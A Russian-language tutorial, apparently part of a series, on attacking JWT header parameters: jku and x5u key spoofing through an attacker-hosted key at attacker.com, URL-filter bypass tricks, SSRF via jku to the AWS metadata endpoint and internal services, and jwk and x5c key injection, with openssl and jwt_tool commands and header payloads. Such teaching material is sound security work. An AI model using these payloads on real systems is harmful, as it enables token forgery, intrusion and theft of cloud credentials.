Содержание:
- JWKS: что это такое
- jku spoofing: “скачай ключ отсюда”
- x5u spoofing: то же, но с сертификатами
- Обход URL-фильтров
- SSRF-бонус
- jwk injection: ключ прямо в токене (CVE-2018-0114)
- x5c injection: самоподписанный сертификат в токене
- Итого: весь заголовок JWT - attack surface
- Что дальше
kid из прошлой статьи - один параметр заголовка, через который можно инжектить в SQL, файловую систему и shell. Но что еще интереснее? Заголовок JWT может содержать URL, и сервер пойдет по этому URL скачивать ключ для проверки подписи. Токен по сути говорит серверу: “вот ссылка, скачай оттуда ключ и проверь мою подпись этим ключом”. Это не баг - это RFC 7515.
JWKS: что это такое
Прежде чем разбирать атаки, нужно понять, что такое JWKS. JWKS (JSON Web Key Set) - это JSON-файл, содержащий массив публичных ключей сервера. Выглядит так:
{
"keys": [
{
"kty": "RSA",
"kid": "key-2024",
"n": "sXch0p...модуль_RSA...",
"e": "AQAB",
"use": "sig"
}
]
}
kty - тип ключа (RSA, EC, и т.д.), kid - идентификатор (помнишь его из прошлой статьи?), n и e - параметры RSA-ключа, use: "sig" - ключ для подписей. Из n (модуль) и e (экспонента) можно собрать полный публичный ключ.
Обычно JWKS лежит на /.well-known/jwks.json. Сервер при верификации JWT идет на этот endpoint, находит ключ по kid из заголовка токена и проверяет подпись. Это стандартная инфраструктура OAuth 2.0 и OpenID Connect.
jku spoofing: “скачай ключ отсюда”
Параметр jku (JWK Set URL) в заголовке JWT содержит URL, откуда сервер должен скачать JWKS с ключами. Атака очевидна:
- Генерируем свою пару RSA-ключей (приватный + публичный)
- Создаем JWKS-файл с нашим публичным ключом
- Хостим его на своем сервере (attacker.com)
- В JWT-заголовке ставим
"jku": "https://attacker.com/jwks.json" - Подписываем токен своим приватным ключом
- Сервер идет на attacker.com, скачивает наш ключ, проверяет подпись - все ok
# Генерируем ключи
openssl genrsa -out attack.key 2048
openssl rsa -in attack.key -pubout -out attack.pub
# jwt_tool - автоматический jku spoofing
python3 jwt_tool.py "$TOKEN" -X s \
-ju "https://attacker.com/jwks.json"
jwt_tool сам сгенерирует ключи, создаст JWKS-файл, подпишет токен и подготовит все для эксплуатации. Тебе останется захостить JWKS на своем сервере.
x5u spoofing: то же, но с сертификатами
x5u (X.509 URL) работает аналогично jku, только вместо JWKS по URL лежит X.509 сертификат в PEM-формате:
# Самоподписанный сертификат и ключ
openssl req -x509 -nodes -days 365 \
-newkey rsa:2048 \
-keyout attack.key -out attack.crt \
-subj "/CN=attacker"
Хостим attack.crt, ставим "x5u": "https://attacker.com/attack.crt", подписываем attack.key. Сервер скачивает сертификат, извлекает из него публичный ключ, проверяет подпись.
Обход URL-фильтров
Серверы часто проверяют URL из jku/x5u по whitelist. “Скачивай ключ только с trusted.com”. Вот как это обходят:
URL confusion. https://trusted.com@attacker.com/jwks.json - trusted.com парсится как username (часть URL перед @), а реальный хост - attacker.com. Некоторые парсеры видят trusted.com, HTTP-клиент идет на attacker.com.
Subdomain trick. https://trusted.com.attacker.com/jwks.json - если фильтр проверяет url.endsWith("trusted.com"), наш домен пройдет проверку.
Open redirect. https://trusted.com/redirect?url=https://attacker.com/jwks.json - если на доверенном домене есть open redirect, запрос перенаправится к нам. Фильтр видит trusted.com, HTTP-клиент оказывается на attacker.com.
Backslash trick. https://trusted.com%5c@attacker.com/jwks.json - %5c это backslash. Разные URL-парсеры обрабатывают его по-разному. Один видит хост trusted.com, другой - attacker.com.
Fragment injection. https://attacker.com#trusted.com - фильтр может сканировать URL на наличие trusted.com и найти его во фрагменте. HTTP-клиент игнорирует фрагмент и идет на attacker.com.
SSRF-бонус
Даже если jku/x5u spoofing не привел к подделке токена (сервер все-таки проверяет ключ правильно), сам факт того, что сервер делает HTTP-запрос по URL из токена - это SSRF (Server-Side Request Forgery).
{"alg":"RS256", "jku":"http://169.254.169.254/latest/meta-data/"}
AWS metadata endpoint. Если сервер работает в AWS, этот запрос вернет credentials, IAM-роли, ключи доступа. Другие цели для SSRF:
http://service.namespace.svc.cluster.local/- Kubernetes internal serviceshttp://127.0.0.1:6379/- Redishttp://127.0.0.1:9200/- Elasticsearchhttp://127.0.0.1:8500/v1/kv/- Consul
Сервер не нашел валидный JWKS? Не важно. Он уже сделал запрос. SSRF в подарок к JWT-атаке.
jwk injection: ключ прямо в токене (CVE-2018-0114)
Параметр jwk в заголовке JWT может содержать полный публичный ключ в формате JWK. Идея RFC: если серверу неудобно ходить за ключом по URL, токен может принести ключ с собой.
CVE-2018-0114 - Cisco node-jose. Библиотека брала публичный ключ из заголовка jwk и использовала его для верификации подписи. Без проверки по trusted store. Без сравнения с известными ключами. Просто: “О, в токене лежит ключ? Проверю-ка подпись этим ключом.”
Атака:
- Генерируем свою пару ключей
- Встраиваем публичный ключ в заголовок JWT через
jwk - Подписываем токен своим приватным ключом
- Сервер достает наш публичный ключ из заголовка, проверяет подпись - успех
# jwt_tool делает это одной командой
python3 jwt_tool.py "$TOKEN" -X i
Что происходит внутри:
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "<наш модуль>",
"e": "AQAB"
}
}
Токен сам принес ключ для своей проверки. Замок приносит с собой свой собственный ключ и говорит “проверь, подхожу ли я”. Абсурд - но так написано в RFC, и библиотеки это реализуют.
CVE-2018-0114 был раскрыт в 2018 году. Та же ошибка потом всплыла в CVE-2025-24976 (Distribution registry) и CVE-2026-27962 (Authlib). Разработчики продолжают доверять ключам из заголовка.
x5c injection: самоподписанный сертификат в токене
x5c содержит цепочку X.509 сертификатов в base64 (не base64url - это важная деталь). Первый сертификат в массиве содержит публичный ключ для верификации.
Если библиотека не проверяет цепочку доверия (chain of trust) до корневого CA - подставляем самоподписанный сертификат:
# Генерируем самоподписанный сертификат и ключ
openssl req -x509 -nodes -newkey rsa:2048 \
-keyout attack.key -out attack.crt \
-subj "/CN=attacker" -days 365
# Получаем base64 (НЕ base64url!) сертификата
CERT_B64=$(openssl x509 -in attack.crt -outform DER | base64 -w0)
Подставляем "x5c": ["<cert_b64>"] в заголовок и подписываем attack.key. RFC 7515 требует валидацию цепочки до trusted CA. Но разработчики забывают, путают “проверку подписи” с “валидацией сертификата”, или просто не настраивают trusted store.
Итого: весь заголовок JWT - attack surface
За три статьи (5, 6 и эту) мы разобрали все параметры заголовка JWT:
- alg -
noneи algorithm confusion (статьи 3-4) - kid - path traversal, SQLi, command injection (статья 5)
- jku/x5u - подмена ключа через URL + SSRF (эта статья)
- jwk/x5c - встраивание своего ключа прямо в токен (эта статья)
Каждый параметр - вектор атаки. JWT-заголовок буквально создан для эксплуатации.
Что дальше
До сих пор мы подменяли алгоритмы и инжектили параметры заголовка. В следующей статье - совсем другой подход. Что если секрет просто слабый? Hashcat, GPU, 150 миллионов попыток в секунду. Один перехваченный токен - и тебе не нужен доступ к серверу.